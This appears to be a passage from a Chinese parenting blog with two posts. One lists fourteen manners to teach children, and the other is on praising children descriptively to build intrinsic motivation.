前些日子在路上碰到他,看到他和一个保安室门口的大叔聊天。后来,保安室门口的大叔说:这样一个有素质的男孩,根本不用担心生计,走到哪里,都有人愿意帮助他。

这个男孩子并没有传统定义上的优秀,不一定能够成为职场精英,也可能取得不了所谓的成绩。但是因为他的为人,也就是教养,使他过得并没有那么孤单。

一个人的能力决定了一个人飞得高不高,一个人的教养决定了一个人飞得远不远。

有教养的孩子,才最美丽。

3、请把教养带给你的孩子

1、见人微笑问好,微笑是最美好的表情,每一个孩子都应该学会微笑,大大方方的打一声招呼,给别人留下美好的印象,爸爸妈妈一定要教给孩子。

2、大度懂分享,孩子有了好吃的好玩的,要教导他跟爸爸妈妈一起分享,也要和好朋友一起分享。

3、信守承诺,“那本书我借你”“下次一起吃饭”,这些脱口而出的话都是小小的约定,信守则会给对方留下真诚、守信的好印象。

4、不再背后说人坏话,不负责任地议论是非。即使让你觉得难以理解的地方,也要尊重别人的不同。

5、不随便动他人物品。别人东西随便用,还要带回家,这样的孩子真的让大人很尴尬。我们要告诉孩子:要拿别人东西之前,一定要获得对方的同意。

6、别人的东西,不要轻易做负面评价。比如去人家里说“你家好小啊”,人家新买的衣服“这颜色好难看啊”(人家自己觉得好就行了)。

7、当遇见别人会发生窘迫时,用自然的方式帮忙化解。当别人遭遇尴尬,比如说话说不下去的时候,不妨帮他说几句,或者给他一个台阶,避免他的尴尬,别人自然会感激你。

8、他人讲话,要认真聆听,别打断。我们不只要放下手上的事情,眼看对方,耳听对方,还要懂得适时回应,不武断评价。保持好奇与尊重,客观判断,深入倾听。

9、懂得说“谢谢”。例如迟到别人给的号吃的点心,不止一句“谢谢”,还要记得传达“这个味道很好”这样的具体感受,会让对方感到你的感谢不是一句客套。

10、有礼貌应该是对所以人,无论是上司、长辈、餐饮服务员或是路边捡垃圾的老者。

11、在电影院等需要安静的公共场合,不要大吵大闹。

12、吃饭时不发出声,不随意转盘,不翻菜,不要夹光自己喜欢的菜,有公筷使用公筷。公共场合不吃气味大,碎屑多的东西。

13、吃完东西自己收拾餐具,无论是在家,还是在KFC、M记,餐馆就餐时也尽量将食物残渣收拾碟子里,便于服务员收拾。

14、留意坐姿,不交抱双臂或跷二郎腿,小孩子在公共场所也应该有一个文明美观的坐姿。

穷养、富养,不如教养!

其实,一次礼貌的让座,一句贴心的问候,一身整洁的衣服,一手端正的笔迹,都是孩子教养好的表现。一个好的家庭门风必然养出有气质、有教养的孩子。

对于父母而言,当你每天讨论穷养、富养的时候,其实都不如教养来得实在。人之所以为贵,以其有信有礼;国之所以能强,亦云惟佳信与义。

人有教养行走八方,无教养寸步难行。

217月/170

正确的鼓励孩子做事情

发布在 邵珠庆

宝宝积极劳动,或者做出你认为“好”的某件事时,当然应该受到鼓励。但是鼓励和鼓励不同,从长远看,结果也非常不同。不恰当的鼓励,很可能导致你的孩子越来越不爱做家务、越来越不爱学习。

鼓励孩子主动做事,更应激发内在动机

我们想要让孩子主动做事情,那么最重要的就是搞清楚孩子做这件事情的动机。外在动机通常是因为可以从别人那里得到奖励,所以才去做这件事;而内在动机则是因为完成这件事情之后会有发自内心的喜悦与满足感。

每年,约有 1300 人进入西点军校,但只有约 1000 人能毕业。研究发现,具有强烈内在动机的人,毕业的可能性比平均水平高 20%。所以我们在鼓励孩子主动做事的时候,就需要注意方式方法。在保护内在动机的同时,也要避免物质奖励的负面影响。

避免对孩子“懒惰的表扬”

儿童心理学家吉姆·泰勒(Jim Taylot)曾建议父母不要对孩子使用一些通用的赞美,比如“做得好!”“真棒!”等。他把一些诸如“不错!”“很好”等表扬归类为“懒惰的表扬”,这些表扬对孩子而言几乎没有什么价值。

如果表扬孩子很聪明

这样只会强化孩子紧闭性的思维模式。孩子会认为自己的成就都是因为自己聪明,所以成功也是理所应当的,而如果遇到失败则是自己不够聪明的原因。

如果表扬孩子的努力和付出

可以提高孩子的开放性思维模式。同样在考了个好成绩之后,家长跟孩子说:“之前复习的时候你一直非常努力,所以这次考得这么好,非常棒!”这是强调孩子是因为努力才考得好。

表扬的最好方式就是描述事实

描述事实,肯定这个事情的重要性,最后表达自己对孩子完成这件事情的感受。比如“你今天主动帮妈妈晾衣服了(描述),做得很棒(肯定),妈妈非常高兴你帮妈妈做家务(表达感受)”,或者“今天早早地就把作业写完了(描述),一定非常努力(肯定),我非常为你感到高兴(表达感受)”。通过这样的表扬,孩子会慢慢建立做事情或者学习的内在动机,从而养成主动完成任务的好习惯。

从什么时候需要开始培养孩子做事的内在动机

孩子2岁就开始能感知他人的情绪状态,比如开心或不开心,而这个时候孩子会开始非常想要帮助他人,比如帮忙递东西等,这些就是亲社会行为的初端。这个时候家长就需要鼓励孩子做一些他们力所能及的事情。这个阶段孩子的内在动机非常充足,他们单单通过帮助他人就能得到极大的快乐与满足,这是一个绝佳的巩固孩子这种良好行为习惯的机会,心理学上称之为“正向加强(Positive Reinforcement )”,也就是我们通常说的奖励机制,但是这种奖励是孩子自己奖励自己(内在动机),而不是家长奖励孩子(外在动机)。

这些说起来容易,实施起来其实千难万难,中间的过程,根据孩子的不同,可能会出现各式各样的情况。在从“外在动机”转化为“内在动机”的过程中,家长需要付出的心血,一点也能不少,亦绝不应忽略。但是在自己的努力下,看着孩子一天天发生改变,变得更加优秀,更加卓越,回望背后的辛苦,我明白,这些欣慰都是教育者及家长为之努力的原因。